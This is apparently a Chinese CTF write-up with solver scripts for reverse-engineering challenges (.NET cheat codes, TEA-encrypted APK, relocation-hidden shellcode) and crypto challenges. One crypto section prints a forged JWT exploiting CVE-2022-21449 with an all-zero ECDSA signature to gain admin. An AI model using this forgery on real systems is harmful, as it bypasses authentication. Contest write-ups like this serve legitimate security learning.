a1[10]\\ - 223492 * a1[15]\\ - 179651 * a1[7]\\ + 206538 * a1[17]\\ + 161965 * a1[3]\\ - 146258 * a1[4]\\ + 167068 * a1[1]\\ + 196330 * a1[14]\\ + 76353817 con22 = 29700 * a1[18]\\ - 60542 * a1[5]\\ + 274107 * a1[11]\\ + 154914 * a1[13]\\ - 143185 * a1[12]\\ + 167424 * a1[2]\\ + 137439 * a1[8]\\ - 186151 * a1[10]\\ - 77157 * a1[9]\\ - 233090 * a1[6]\\ - 27400 * a1[7]\\ - 76557 * a1[15]\\ - 108002 * a1[17]\\ + 103161 * a1[14]\\ - 133956 * a1[1]\\ - 219502 * a1[4]\\ - 202897 * a1[0]\\ - 250957 * a1[3]\\ - 119297 * a1[16]\\ + 100812197 con23 = -171971 * a1[9]\\ + 38740 * a1[4]\\ - 31661 * a1[10]\\ - 194653 * a1[18]\\ - 295910 * a1[16]\\ + 136489 * a1[12]\\ + 212619 * a1[17]\\ + 165592 * a1[11]\\ + 211791 * a1[1]\\ + 156909 * a1[2]\\ - 232187 * a1[8]\\ - 73709 * a1[7]\\ + 79735 * a1[14]\\ + 184882 * a1[13]\\ + 111105 * a1[6]\\ + 148840 * a1[3]\\ - 35774 * a1[19]\\ - 275711 * a1[0]\\ + 135265 * a1[5]\\ - 141221 * a1[15]\\ - 39117122 con24 = -186514 * a1[17]\\ - 7791 * a1[2]\\ + 276755 * a1[11]\\ - 294815 * a1[14]\\ - 238763 * a1[15]\\ - 146099 * a1[5]\\ + 184977 * a1[16]\\ + 178413 * a1[1]\\ + 287303 * a1[3]\\ - 71946 * a1[10]\\ - 73771 * a1[9]\\ - 129032 * a1[18]\\ + 200202 * a1[20]\\ - 150509 * a1[6]\\ - 156625 * a1[13]\\ + 14093 * a1[7]\\ + 192584 * a1[12]\\ - 122770 * a1[0]\\ - 255494 * a1[8]\\ + 65 * a1[4]\\ - 108479 * a1[19]\\ + 13521895 con25 = 210978 * a1[7]\\ + 300336 * a1[10]\\ + 207254 * a1[15]\\ + 216206 * a1[5]\\ - 63529 * a1[0]\\ - 274903 * a1[11]\\ - 10750 * a1[14]\\ + 25008 * a1[4]\\ - 100942 * a1[19]\\ - 104857 * a1[2]\\ + 266501 * a1[8]\\ + 229070 * a1[17]\\ - 234559 * a1[16]\\ + 298459 * a1[3]\\ - 172052 * a1[6]\\ - 98938 * a1[12]\\ + 66155 * a1[13]\\ - 84761 * a1[1]\\ - 283508 * a1[18]\\ + 288577 * a1[21]\\ - 75407 * a1[20]\\ - 204447 * a1[9]\\ + 4351595 con26 = -201846 * a1[14]\\ + 272550 * a1[20]\\ + 60398 * a1[6]\\ + 45580 * a1[7]\\ + 195108 * a1[11]\\ + 38596 * a1[0]\\ + 220445 * a1[18]\\ - 190873 * a1[15]\\ + 103477 * a1[9]\\ + 118842 * a1[19]\\ + 206336 * a1[10]\\ - 249940 * a1[17]\\ - 48084 * a1[21]\\ + 104901 * a1[5]\\ - 48576 * a1[4]\\ + 287104 * a1[16]\\ - 286686 * a1[1]\\ - 30253 * a1[22]\\ + 121183 * a1[3]\\ + 90967 * a1[2]\\ - 195519 * a1[12]\\ - 129304 * a1[8]\\ + 141188 * a1[13]\\ - 56642147 con27 = 110609 * a1[4]\\ + 5913 * a1[21]\\ - 197578 * a1[7]\\ + 45127 * a1[18]\\ + 282426 * a1[13]\\ - 71019 * a1[16]\\ - 6980 * a1[11]\\ + 208216 * a1[15]\\ - 13544 * a1[20]\\ + 17852 * a1[8]\\ + 167833 * a1[12]\\ + 145568 * a1[17]\\ + 3610 * a1[19]\\ + 91985 * a1[1]\\ - 267402 * a1[5]\\ - 32355 * a1[14]\\ - 197823 * a1[23]\\ + 135525 * a1[2]\\ - 229424 * a1[22]\\ + 38093 * a1[10]\\ + 50167 * a1[6]\\ + 118713 * a1[9]\\ + 123874 * a1[0]\\ - 89499 * a1[3]\\ - 43090537 con28 = -164755 * a1[9]\\ + 175470 * a1[8]\\ - 28660 * a1[1]\\ + 7217 * a1[11]\\ - 295102 * a1[4]\\ - 28531 * a1[19]\\ - 106265 * a1[25]\\ - 92750 * a1[10]\\ + 16738 * a1[21]\\ - 231714 * a1[6]\\ + 172042 * a1[24]\\ - 215890 * a1[17]\\ + 199697 * a1[12]\\ - 84235 * a1[7]\\ + 44614 * a1[13]\\ + 75104 * a1[5]\\ - 195843 * a1[0]\\ - 15784 * a1[14]\\ - 131950 * a1[15]\\ - 268167 * a1[16]\\ - 197565 * a1[20]\\ + 24340 * a1[23]\\ + 105130 * a1[2]\\ - 79750 * a1[22]\\ - 264668 * a1[3]\\ + 50329 * a1[18]\\ + 137774797 con28 = 62119 * a1[17]\\ - 17215 * a1[24]\\ + 289621 * a1[18]\\ + 53006 * a1[20]\\ + 95969 * a1[11]\\ + 202404 * a1[0]\\ + 247060 * a1[21]\\ + 144211 * a1[19]\\ + 280106 * a1[7]\\ - 126431 * a1[10]\\ - 226837 * a1[12]\\ + 10463 * a1[23]\\ + 121257 * a1[13]\\ - 84190 * a1[9]\\ + 88917 * a1[1]\\ + 15453 * a1[14]\\ + 271442 * a1[4]\\ + 110851 * a1[3]\\ - 231422 * a1[5]\\ + 176741 * a1[22]\\ + 266134 * a1[2]\\ - 197327 * a1[6]\\ - 55225 * a1[8]\\ - 265465 * a1[15]\\ + 119612 * a1[16]\\ - 98514358 con29 = 62119 * a1[17]\\ - 17215 * a1[24]\\ + 289621 * a1[18]\\ + 53006 * a1[20]\\ + 95969 * a1[11]\\ + 202404 * a1[0]\\ + 247060 * a1[21]\\ + 144211 * a1[19]\\ + 280106 * a1[7]\\ - 126431 * a1[10]\\ - 226837 * a1[12]\\ + 10463 * a1[23]\\ + 121257 * a1[13]\\ - 84190 * a1[9]\\ + 88917 * a1[1]\\ + 15453 * a1[14]\\ + 271442 * a1[4]\\ + 110851 * a1[3]\\ - 231422 * a1[5]\\ + 176741 * a1[22]\\ + 266134 * a1[2]\\ - 197327 * a1[6]\\ - 55225 * a1[8]\\ - 265465 * a1[15]\\ + 119612 * a1[16]\\ - 98514358 con30 = 151924 * a1[25]\\ - 265311 * a1[6]\\ + 107604 * a1[11]\\ - 47851 * a1[24]\\ + 227178 * a1[13]\\ - 162699 * a1[2]\\ + 2171 * a1[20]\\ + 211070 * a1[23]\\ + 94815 * a1[22]\\ + 124760 * a1[16]\\ + 41462 * a1[19]\\ - 277022 * a1[15]\\ - 62501 * a1[26]\\ - 17727 * a1[14]\\ - 257908 * a1[4]\\ - 175112 * a1[21]\\ + 8972 * a1[10]\\ - 71801 * a1[8]\\ - 114724 * a1[5]\\ - 252898 * a1[9]\\ + 161457 * a1[1]\\ - 64461 * a1[0]\\ - 111493 * a1[18]\\ + 200145 * a1[17]\\ - 290075 * a1[3]\\ + 158466 * a1[12]\\ - 275262 * a1[7] + 86899519 con31 = 142850 * a1[18]\\ - 166704 * a1[1]\\ + 284852 * a1[22]\\ + 248972 * a1[7]\\ - 76200 * a1[17]\\ + 261708 * a1[19]\\ + 91911 * a1[24]\\ + 22347 * a1[3]\\ + 76006 * a1[21]\\ + 256511 * a1[6]\\ - 100052 * a1[14]\\ - 115830 * a1[2]\\ - 93202 * a1[23]\\ + 248858 * a1[12]\\ - 262669 * a1[10]\\ + 67895 * a1[5]\\ - 111771 * a1[8]\\ - 132193 * a1[11]\\ - 141512 * a1[13]\\ + 139406 * a1[27]\\ + 109646 * a1[16]\\ - 286309 * a1[9]\\ + 175476 * a1[15]\\ + 138067 * a1[20]\\ + 192825 * a1[25]\\ + 199577 * a1[0] - 63091 * a1[4] - 285207 * a1[26] - 58820340 s = Solver() for i in range(28): s.add(a1[i] \u0026gt; 0x20) s.add(a1[i] \u0026lt; 0x7f) s.add(a1[0] == ord(\u0026#39;f\u0026#39;)) s.add(a1[1] == ord(\u0026#39;l\u0026#39;)) s.add(a1[2] == ord(\u0026#39;a\u0026#39;)) s.add(a1[3] == ord(\u0026#39;g\u0026#39;)) s.add(a1[4] == ord(\u0026#39;{\u0026#39;)) s.add(a1[27] == ord(\u0026#39;}\u0026#39;)) s.add(con1 == 0) s.add(con2 == 0) s.add(con3 == 0) s.add(con4 == 0) s.add(con5 == 0) s.add(con6 == 0) s.add(con7 == 0) s.add(con8 == 0) s.add(con9 == 0) s.add(con10 == 0) s.add(con11 == 0) s.add(con12 == 0) s.add(con13 == 0) s.add(con14 == 0) s.add(con15 == 0) s.add(con16 == 0) s.add(con17 == 0) s.add(con18 == 0) s.add(con19 == 0) s.add(con20 == 0) s.add(con21 == 0) s.add(con22 == 0) s.add(con23 == 0) s.add(con24 == 0) s.add(con25 == 0) s.add(con26 == 0) s.add(con27 == 0) s.add(con28 == 0) s.add(con29 == 0) s.add(con30 == 0) s.add(con31 == 0) if sat == s.check(): m = s.model() flag = \u0026#39;\u0026#39; for i in a1: flag += chr(m[i].as_long()) import hashlib hl = hashlib.md5() hl.update(flag.encode()) print (hl.hexdigest() == \u0026#39;042905954c2c27f21bd74489ea0d151f\u0026#39;) print (flag) GameMaster .net逆向\n一个21点游戏，逆向发现存在作弊码\nif (memcmp1(input, \u0026#34;MF3K\u0026#34;, 4)) { try { game.Player.Bet -= 22m; for (int i = 0; i \u0026lt; memory.Length; i++) { memory[i] ^= 34; } Environment.SetEnvironmentVariable(\u0026#34;AchivePoint1\u0026#34;, game.Player.Balance.ToString()); return; } } if (memcmp1(input, \u0026#34;EEPW\u0026#34;, 4)) { try { game.Player.Balance += 175m; byte[] key = new byte[16] { 66, 114, 97, 105, 110, 115, 116, 111, 114, 109, 105, 110, 103, 33, 33, 33 }; RijndaelManaged rijndaelManaged = new RijndaelManaged(); rijndaelManaged.Key = key; rijndaelManaged.Mode = CipherMode.ECB; rijndaelManaged.Padding = PaddingMode.Zeros; ICryptoTransform cryptoTransform = rijndaelManaged.CreateDecryptor(); m = cryptoTransform.TransformFinalBlock(memory, 0, memory.Length); Environment.SetEnvironmentVariable(\u0026#34;AchivePoint2\u0026#34;, game.Player.Balance.ToString()); return; } } if (memcmp1(input, \u0026#34;6VD6\u0026#34;, 4)) { try { game.Player.Balance -= 27m; Environment.SetEnvironmentVariable(\u0026#34;AchivePoint3\u0026#34;, game.Player.Balance.ToString()); BinaryFormatter binaryFormatter = new BinaryFormatter(); MemoryStream serializationStream = new MemoryStream(m); binaryFormatter.Deserialize(serializationStream); return; } } 依次触发三个作弊码，就会对文件内容进行解密并反序列化\n解密后发现序列化内容中包含了一个dll文件：\nprivate static void Check1(ulong x, ulong y, ulong z, byte[] KeyStream) { int num = -1; for (int i = 0; i \u0026lt; 320; i++) { x = (((x \u0026gt;\u0026gt; 29 ^ x \u0026gt;\u0026gt; 28 ^ x \u0026gt;\u0026gt; 25 ^ x \u0026gt;\u0026gt; 23) \u0026amp; 1UL) | x \u0026lt;\u0026lt; 1); y = (((y \u0026gt;\u0026gt; 30 ^ y \u0026gt;\u0026gt; 27) \u0026amp; 1UL) | y \u0026lt;\u0026lt; 1); z = (((z \u0026gt;\u0026gt; 31 ^ z \u0026gt;\u0026gt; 30 ^ z \u0026gt;\u0026gt; 29 ^ z \u0026gt;\u0026gt; 28 ^ z \u0026gt;\u0026gt; 26 ^ z \u0026gt;\u0026gt; 24) \u0026amp; 1UL) | z \u0026lt;\u0026lt; 1); bool flag = i % 8 == 0; if (flag) { num++; } KeyStream[num] = (byte)((long)((long)KeyStream[num] \u0026lt;\u0026lt; 1) | (long)((ulong)((uint)((z \u0026gt;\u0026gt; 32 \u0026amp; 1UL \u0026amp; (x \u0026gt;\u0026gt; 30 \u0026amp; 1UL)) ^ (((z \u0026gt;\u0026gt; 32 \u0026amp; 1UL) ^ 1UL) \u0026amp; (y \u0026gt;\u0026gt; 31 \u0026amp; 1UL)))))); } } private static void ParseKey(ulong[] L, byte[] Key) { for (int i = 0; i \u0026lt; 3; i++) { for (int j = 0; j \u0026lt; 4; j++) { Key[i * 4 + j] = (byte)(L[i] \u0026gt;\u0026gt; j * 8 \u0026amp; 255UL); } } } public T1() { try { string environmentVariable = Environment.GetEnvironmentVariable(\u0026#34;AchivePoint1\u0026#34;); string environmentVariable2 = Environment.GetEnvironmentVariable(\u0026#34;AchivePoint2\u0026#34;); string environmentVariable3 = Environment.GetEnvironmentVariable(\u0026#34;AchivePoint3\u0026#34;); bool flag = environmentVariable == null || environmentVariable2 == null || environmentVariable3 == null; if (!flag) { ulong num = ulong.Parse(environmentVariable); ulong num2 = ulong.Parse(environmentVariable2); ulong num3 = ulong.Parse(environmentVariable3); ulong[] array = new ulong[3]; byte[] array2 = new byte[40]; byte[] array3 = new byte[40]; byte[] array4 = new byte[12]; byte[] first = new byte[] { 101, 5, 80, 213, 163, 26, 59, 38, 19, 6, 173, 189, 198, 166, 140, 183, 42, 247, 223, 24, 106, 20, 145, 37, 24, 7, 22, 191, 110, 179, 227, 5, 62, 9, 13, 17, 65, 22, 37, 5 }; byte[] array5 = new byte[] { 60, 100, 36, 86, 51, 251, 167, 108, 116, 245, 207, 223, 40, 103, 34, 62, 22, 251, 227 }; array[0] = num; array[1] = num2; array[2] = num3; T1.Check1(array[0], array[1], array[2], array2); bool flag2 = first.SequenceEqual(array2); if (flag2) { T1.ParseKey(array, array4); for (int i = 0; i \u0026lt; array5.Length; i++) { array5[i] ^= array4[i % array4.Length]; } MessageBox.Show(\u0026#34;flag{\u0026#34; + Encoding.Default.GetString(array5) + \u0026#34;}\u0026#34;, \u0026#34;Congratulations!\u0026#34;, MessageBoxButtons.OK); } } } catch (Exception) { } } 使用 z3 求解三个环境变量\nfrom z3 import * x = BitVec(\u0026#39;x\u0026#39;, 64) y = BitVec(\u0026#39;y\u0026#39;, 64) z = BitVec(\u0026#39;z\u0026#39;, 64) flag1 = [ 101, 5, 80, 213, 163, 26, 59, 38, 19, 6, 173, 189, 198, 166, 140, 183, 42, 247, 223, 24, 106, 20, 145, 37, 24, 7, 22, 191, 110, 179, 227, 5, 62, 9, 13, 17, 65, 22, 37, 5 ] s = Solver() for i in range(320): x = (((x \u0026gt;\u0026gt; 29 ^ x \u0026gt;\u0026gt; 28 ^ x \u0026gt;\u0026gt; 25 ^ x \u0026gt;\u0026gt; 23) \u0026amp; 1) | x \u0026lt;\u0026lt; 1) y = (((y \u0026gt;\u0026gt; 30 ^ y \u0026gt;\u0026gt; 27) \u0026amp; 1) | y \u0026lt;\u0026lt; 1) z = (((z \u0026gt;\u0026gt; 31 ^ z \u0026gt;\u0026gt; 30 ^ z \u0026gt;\u0026gt; 29 ^ z \u0026gt;\u0026gt; 28 ^ z \u0026gt;\u0026gt; 26 ^ z \u0026gt;\u0026gt; 24) \u0026amp; 1) | z \u0026lt;\u0026lt; 1) cur = ((z \u0026gt;\u0026gt; 32) \u0026amp; 1 \u0026amp; (x \u0026gt;\u0026gt; 30 \u0026amp; 1)) ^ ((((z \u0026gt;\u0026gt; 32) \u0026amp; 1) ^ 1) \u0026amp; ((y \u0026gt;\u0026gt; 31) \u0026amp; 1)) s.add(cur == (flag1[i // 8] \u0026gt;\u0026gt; (7 - i % 8)) \u0026amp; 1) if s.check() == sat: m = s.model() print (m) else: print (\u0026#39;no res\u0026#39;) 求解，或动调改内存\narray = [156324965, 868387187, 3131229747] Key = [0] * 12 for i in range(3): for j in range(4): Key[i * 4 + j] = (array[i] \u0026gt;\u0026gt; (j * 8)) \u0026amp; 0xff print (Key) cipher = [60, 100, 36, 86, 51, 251, 167, 108, 116, 245, 207, 223, 40, 103, 34, 62, 22, 251, 227] for i in range(len(cipher)): print (chr(cipher[i] ^ Key[i % len(Key)]), end=\u0026#39;\u0026#39;) Easyapk 逻辑在 so 层，有大量的垃圾指令，实际逻辑是先进行 rot13，再进行 tea 加密 解密脚本如下：\n#include \u0026lt;stdio.h\u0026gt; #include \u0026lt;stdint.h\u0026gt; //解密函数 void decrypt (uint32_t* v, uint32_t* k) { uint32_t v0=v[0], v1=v[1], sum=0xC6EF3720, i; /* set up */ uint32_t delta=0x9e3779b9; /* a key schedule constant */ uint32_t k0=k[0], k1=k[1], k2=k[2], k3=k[3]; /* cache key */ for (i=0; i\u0026lt;32; i++) { /* basic cycle start */ v1 -= ((v0\u0026lt;\u0026lt;4) + k2) ^ (v0 + sum) ^ ((v0\u0026gt;\u0026gt;5) + k3); v0 -= ((v1\u0026lt;\u0026lt;4) + k0) ^ (v1 + sum) ^ ((v1\u0026gt;\u0026gt;5) + k1); sum -= delta; } /* end cycle */ v[0]=v0; v[1]=v1; } int main() { uint32_t v[]={1570024068u, 351937696u, 727056912u, 3063668041u, 2867849940u, 1267528902u, 159365321u, 3052163538u},k[4]={0x33323130, 0x37363534, 0x62613938, 0x66656463}; // v为要加密的数据是两个32位无符号整数 // k为加密解密密钥，为4个32位无符号整数，即密钥长度为128位 printf(\u0026#34;加密后的数据：%u %u\\n\u0026#34;,v[0],v[1]); decrypt(v, k); decrypt(v + 2, k); decrypt(v + 4, k); decrypt(v + 6, k); unsigned char *x = (unsigned char *)v; for (int i = 0; i \u0026lt; 32; i++) { printf(\u0026#34;%x\u0026#34;, x[i]); } return 0; } // synt{Vg_Vf_A0g_guNg_zHpu_unEqre} 结果进行rot13即可\nflag{It_Is_N0t_thAt_mUch_haRder} deeprev 将 shellcode 隐藏在了 relocation 中\nimport lief from collections import namedtuple from dataclasses import dataclass b = lief.ELF.parse(\u0026#39;./deeprev\u0026#39;) def to_sym(name): assert len(name) == 1 return ord(name[0]) Rel = namedtuple(\u0026#39;REL\u0026#39;, [\u0026#39;dst\u0026#39;, \u0026#39;val\u0026#39;, \u0026#39;ridx\u0026#39;]) Copy = namedtuple(\u0026#39;CPY\u0026#39;, [\u0026#39;dst\u0026#39;, \u0026#39;symbol\u0026#39;, \u0026#39;ridx\u0026#39;]) R64 = namedtuple(\u0026#39;R64\u0026#39;, [\u0026#39;dst\u0026#39;, \u0026#39;symbol\u0026#39;, \u0026#39;addend\u0026#39;, \u0026#39;ridx\u0026#39;]) R32 = namedtuple(\u0026#39;R32\u0026#39;, [\u0026#39;dst\u0026#39;, \u0026#39;symbol\u0026#39;, \u0026#39;addend\u0026#39;, \u0026#39;ridx\u0026#39;]) @dataclass class Symbol(object): idx: int def __repr__(self): return f\u0026#39;s{self.idx}\u0026#39; @dataclass class Reloc(object): idx: int def __repr__(self): return f\u0026#39;r{self.idx}\u0026#39; @dataclass class Ref(object): def __repr__(self): return f\u0026#39;\u0026amp;{self.val}\u0026#39; @dataclass class SymAddr(object): sym: Symbol field: str def __repr__(self): return f\u0026#39;{self.sym}.{self.field}\u0026#39; @dataclass class RelocAddr(object): reloc: Reloc field: str def __repr__(self): return f\u0026#39;{self.reloc}.{self.field}\u0026#39; def vaddr(self): off = 0 print(self.field) # match self.field: # case \u0026#39;r_address\u0026#39;: off = 0 # case \u0026#39;r_info\u0026#39;: off = 8 # case \u0026#39;r_addend\u0026#39;: off = 16 return (self.reloc.idx * 24) + off + rela.virtual_address @dataclass class FlagAddr(object): idx: int def __repr__(self): return f\u0026#39;flag[{self.idx}]\u0026#39; BaseAddr = namedtuple(\u0026#39;baseaddr\u0026#39;, []) CheckAddr = namedtuple(\u0026#39;check\u0026#39;, []) rela = [x for x in b.sections if x.name == \u0026#39;.rela.dyn\u0026#39;][0] dynsym = [x for x in b.sections if x.name == \u0026#39;.dynsym\u0026#39;][0] def format_addr(addr: int): if (addr \u0026gt;= rela.virtual_address and addr \u0026lt; rela.virtual_address + rela.size): offset = addr - rela.virtual_address r_offset = (offset // 24) r_rem = offset % 24 if r_rem == 0: return RelocAddr(Reloc(r_offset), \u0026#39;r_address\u0026#39;) elif r_rem == 8: return RelocAddr(Reloc(r_offset), \u0026#39;r_info\u0026#39;) elif r_rem == 16: return RelocAddr(Reloc(r_offset), \u0026#39;r_addend\u0026#39;) else: return RelocAddr(Reloc(r_offset), r_rem) elif (addr \u0026gt; dynsym.virtual_address and addr \u0026lt; dynsym.virtual_address + dynsym.size ): offset = addr - dynsym.virtual_address r_offset = (offset // 24) r_rem = offset % 24 if r_rem == 0: return SymAddr(Symbol(r_offset), \u0026#39;st_name\u0026#39;) elif r_rem == 8: return Symbol(r_offset) elif r_rem == 16: return SymAddr(Symbol(r_offset), \u0026#39;st_size\u0026#39;) else: return SymAddr(Symbol(r_offset), r_rem) elif addr \u0026gt;= 0x404040 and addr \u0026lt; 0x404040+0x21: off = addr-0x404040 return FlagAddr(off) elif addr == 0x804000: return BaseAddr() elif addr == 0x404064: return CheckAddr() else: return addr def parse(b) -\u0026gt; list: print(\u0026#39;[*] Loading relocations...\u0026#39;) relocs = list(b.relocations) print(\u0026#39;[*] Parsing...\u0026#39;) instructions = [] for i in range(3, len(relocs)): r = relocs[i] if r.type == 1: instructions.append( R64(format_addr(r.address), to_sym(r.symbol.name), format_addr(r.addend), i)) elif r.type == 5: # CPY instructions.append( Copy(format_addr(r.address), to_sym(r.symbol.name), i)) elif r.type == 8: # REL instructions.append( Rel(format_addr(r.address), format_addr(r.addend), i)) elif r.type == 7: # R32 # instructions.append( # R32(r.address, to_sym(r.symbol.name), r.addend, i)) instructions.append(R32(1, 1, 1, 1)) return instructions def dump(instructions): for op in instructions: if type(op).__name__ == \u0026#39;REL\u0026#39;: print(f\u0026#39;[{op.ridx:04d}] :: rel {op.dst}, {op.val}\u0026#39;) elif type(op).__name__ == \u0026#39;CPY\u0026#39;: print(f\u0026#39;[{op.ridx:04d}] :: copy {op.dst}, {op.symbol}\u0026#39;) elif type(op).__name__ == \u0026#39;R64\u0026#39;: print(f\u0026#39;[{op.ridx:04d}] :: r64 {op.dst}, {op.symbol} + {op.addend}\u0026#39;) elif type(op).__name__ == \u0026#39;R32\u0026#39;: print(\u0026#39;7\u0026#39;) if(op.ridx == 1266): break instructions = parse(b) dump(instructions) 提取后发现主要逻辑为加载 shellcode 并执行\n[0005] :: rel s2, flag[0] [0006] :: rel s2.st_size, 1 [0007] :: copy s4, s2 [0009] :: rel r8.r_address, 0x16008040cc253480 [0010] :: rel r8.r_info, 0xc3 [0011] :: rel s3, r8.r_address [0012] :: rel s3.st_name, 0x1000a0000001a [0013] :: r64 r8.r_address, 3 + 0 [0014] :: rel s2, r101002.r_address [0015] :: rel s2.st_size, 0x18 [0016] :: copy r8.r_address, s2 [0018] :: rel r17.r_address, 0x8040cc250480 [0019] :: rel r17.r_info, 0xc3 [0020] :: rel s3, r17.r_address [0021] :: rel s3.st_name, 0x1000a0000001a [0022] :: r64 r17.r_address, 3 + 0 [0023] :: copy r17.r_address, s2 [0024] :: rel s2, s4 [0025] :: rel s2.st_size, 1 [0026] :: copy r3.r_address, s2 [0597] :: rel s2, r3.r_address [0598] :: rel s2.st_size, 8 [0599] :: copy s6, s2 [0601] :: rel r600.r_address, 0x70008040fc253480 [0602] :: rel r600.r_info, 0xc3 [0603] :: rel s3, r600.r_address [0604] :: rel s3.st_name, 0x1000a0000001a [0605] :: r64 r600.r_address, 3 + 0 [0606] :: rel s2, r101002.r_address [0607] :: rel s2.st_size, 0x18 [0608] :: copy r600.r_address, s2 [0609] :: rel s2, s6 [0610] :: rel s2.st_size, 8 [0611] :: copy r612.r_addend, s2 [0612] :: r64 s5, 5 + 0 [0613] :: rel r612.r_addend, 0 [0614] :: rel s6, 0 上述代码对 flag 第一位执行了两处 shellcode，shellcode 为 f ^ 0x16 + 0 随后对该值 xor 0x70，最后值为 0 表示通过\n前28位flag均是该逻辑的重复\nxor = [0x16, 0x17, 0x10, 0x12, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x24, 0x2c, 0x26, 0x1e, 0x1f, 0x20, 0x20, 0x21, 0x23, 0x27, 0x24, 0x25, 0x26, 0x27] add = [0x0, 0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7, 0x8, 0x9, 0xa, 0xb, 0xc, 0xd, 0xe, 0xf, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1a, 0x1b] xor2 = [0x70, 0x7c, 0x73, 0x78, 0x6f, 0x27, 0x2a, 0x2c, 0x7f, 0x35, 0x2d, 0x32, 0x37, 0x3b, 0x22, 0x59, 0x53, 0x8e, 0x3d, 0x2a, 0x59, 0x27, 0x2d, 0x29, 0x34, 0x2d, 0x61, 0x32] for x1, a, x2 in zip(xor, add, xor2): print (chr((x2 - a) ^ x), end=\u0026#39;\u0026#39;) # flag{366c950370fec47e34581a0 对最后几位flag进行了如下计算\n(flag[28] + flag[29]) ^ 0x6c = 0 (flag[28] * 2 + flag[29]) ^ 0xa1 = 0 (flag[30] + flag[31]) ^ 0xb1 = 0 (flag[30] * 2 + flag[31]) ^ 0xe5 = 0 计算得到flag最后四位\nCrypto MyJWT 一个基于 ECDSA 的 JWT，需要绕过签名验证得到 flag。签名头部 base64 解码，admin 字段为 false，考虑将其修改为 true 后绕过。\n搜索发现漏洞 CVE-2022-21449。https://jfrog.com/blog/cve-2022-21449-psychic-signatures-analyzing-the-new-java-crypto-vulnerability/，未验证提交签名中参数是否为 0，提交定长空字节的 base64 编码即可通过验证。\nECDSA 内置实例算法采用 SHA384，对应签名 base64 长度为 128，编码 96 个空字节即可。远程连接提交用户名拿到 Token，在有效时间内修改 admin 字段为 true 后重新编码。payload 为初始字段+修改了admin的头部+空字节编码。\neyJ0eXAiOiJKV1QiLCJhbGciOiJteUVTIn0=.eyJpc3MiOiJxd2IiLCJuYW1lIjoic2IiLCJhZG1pbiI6dHJ1ZSwiZXhwIjoxNjU5MTk1NTg0NTgwfQ==.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Factor https://eprint.iacr.org/2015/399.pdf 参照这篇论文的做法，论文中提到的三种攻击就对应了此题的三关，反序解出即可。\n第一二关都是Coppersmith方法解决，用sage中的small_roots()函数。\n第三关采用连分数解决。\n第一二关脚本 and 第三关脚本\nn3=539779851369541956878655738599584730199799866957191805784596190682932284216781781433367450841202917758999300635019369629627621029957135109806205877317954671312041249493462048283611940752235036153024920172209763260723728345918562258401803973624430150143563078517485996070862532682695228590709019451174548520135142052216785774589096706631010293690859363524584240662502290912412366366114571976050857239915691266377257797199583543940504695517331512813468837128344612227973709974625418257243011036826241599265375741977853552204640800449679679351666009764297016524814036295707311913711955324055690490892097177271718850857268982130811714517356073266905474635370690445031512184247179039751734276906533177939993769044135143389748416635981226449566039039202521305851567296884751935162651063209779647359922622084851547605090230221057349511482738300221222563908357379545905837110168948295030747460300104202323692732549831403834387939156877086852393515817984772384147449841124275061609701453997579569931391166586163299940486204581696722731952467570857217406030804590055255431828403195798003509083922294733709507134156466158642941338493323430671502043066148246348074878064089651235355282144209668143249348243220714471988019011613749340243917652821 R.\u0026lt;x\u0026gt; = PolynomialRing(Zmod(n3),implementation=\u0026#39;NTL\u0026#39;) e3=8179300978753084587812861894047395225516049110376948812109811319430275614612773726672345893359691900281432484382670047044697374818043512731533402576374645405477207239801498428774783768163880078495448747421425078521981578408638790336528372019271073712013371141939808017049399434858687299480461753638164719404612128939787055797762174745092074547412183349192156638711750872083313795551439465507724807626674514935170104573715458782366469587138508845980490673890245713729782917089910271980557159592807350504157192913530007199510144004848020221181558472160543018733124225266127379373751910439604459368078652499029070936707349862139053913745186413782066470461478961703013591655136140060879250067379283913798867648758171004535775565306842444545755351202796833177560656564652632975685912935281581268141803696686952259539945588609591385807620108279333498170028167338690235117003515264281843953984997958878272347778561933726792473981855755454522886321669676790813189668084373153897754540290867346751033567500922477317530445967753955221454744946208555394588111484610700789566547507402309549957740815535069057837915204852490930168843605732632328017129154852857227895362549146737618906180651623216848500491438142456250653458053922622240299736136335179639180898730269690699965799644757774472147210271111150769048976871249731156387939260749192370361488285775377622944817570292095201906142567403539151179209316853493906909989301225903409448461436855145 z=17623328397444755087284107444487160871617682792372566887446834913712379373851213638071138745775127796589871734472781755930251379295485892067473329763997583502625804363418069062645997342172778252731889437 f=e3*x-z f=f.monic() print(f.small_roots(beta=0.7)) import gmpy2 from libnum import n2s from math import gcd def tCf(n, d): res = [] while d: res.append(n // d) n, d = d, n % d return res def cf(sub_res): n, d = 1, 0 for i in sub_res[::-1]: d, n = n, i * n + d return d, n def listFraction(x, y): res = tCf(x, y) res = list(map(cf, (res[0:i] for i in range(1, len(res))))) return res n11=801049932940568005269978912396585741498810389425615966036828877784238116634177290247194019425111606811005728521368879065336038221361037062407029836155148874719789714345603547779284558101833801155509762818376470874215789574939002212274399950433269775325144015468620263028557804618774240232988157961712628677901130814703917513004114547234375629747176834581166306552311075522669403347828095831520693563291249869832390698646691647204371133362254846234990175138047928703289833460734235302093916147489509206061923877623300596194317059884824322527532662470348274079800781120104946546063500763852622187404608639542858285661288293918912184354236687975919510300221932074135531028314170475917110204254042336116619335841213418990605590620842511615815443114612333881430920769002933370887494558640833005339906706603497809846863863967391543647049224309556936909768179259581851520214669904560467640473144481633920438487615788689262961741053146610554997224861331949716721056553499531186695425439163222802917813140266513735841447717418846360096652592844940362932171019143434080184728093326143821165097895058935372215708948088248596585127475770021962501262915274497478428868130455122612016408381607561200802267038869516896665387576895570245272035575637 